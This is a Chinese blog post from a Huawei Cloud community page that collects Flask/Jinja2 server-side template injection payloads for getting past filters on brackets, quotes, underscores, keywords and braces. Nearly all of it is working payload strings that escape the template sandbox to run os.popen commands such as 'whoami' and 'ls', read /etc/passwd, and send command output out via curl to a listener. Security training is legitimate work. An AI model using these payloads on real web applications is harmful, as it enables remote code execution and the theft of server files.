SSTI+Flask+Python:绕过过滤

举报
黑色地带(崛起) 发表于 2023/01/27 19:28:56 2023/01/27
【摘要】 【SSTI模块注入】SSTI+Flask+Python:绕过过滤

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点: 

(1)【SSTI模块注入】SSTI+Flask+Python:绕过过滤(√)

 


目录

一、绕过[]过滤

方法一:__getitem__

方法二:pop()

二、绕过引号'过滤

方法一:对象request(jinjia2)

方法二:chr函数

三、绕过下划线_过滤

方法一:request.args.

四、关键字过滤

方法一:拼接

方法二:内置函数

方法三:转换

五、绕过花括号{}过滤

方法一:{% if ... %}1{% endif %}




一、绕过[]过滤

方法一:__getitem__

''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["popen"]("whoami").read()



方法二:pop()

移除列表中的一个元素(默认最后一个元素),并且返回该元素的值

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()



二、绕过引号'过滤

方法一:对象request(jinjia2)

1、

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

args是数组,可以进行自定义传值


2、

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd


方法二:chr函数

1、

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}


2、

%2b是+,char()可以查看ASCII码对应表

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}





三、绕过下划线_过滤

方法一:request.args.

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

GET传参:request.args


POST传参:request.values




四、关键字过滤

方法一:拼接

{{request['__cl'+'ass__'].__mro__[12]}}

或者

.__init__.__globals__["sys"+"tem"]


~ 在jinja中可以拼接字符串


方法二:内置函数

replace、decode……


方法三:转换

{{"".__class__}} 

转换为十六进制进行绕过

{{""["\x5f\x5fclass\x5f\x5f"]}}




五、绕过花括号{}过滤

方法一:{% if ... %}1{% endif %}

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}


配合盲注

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。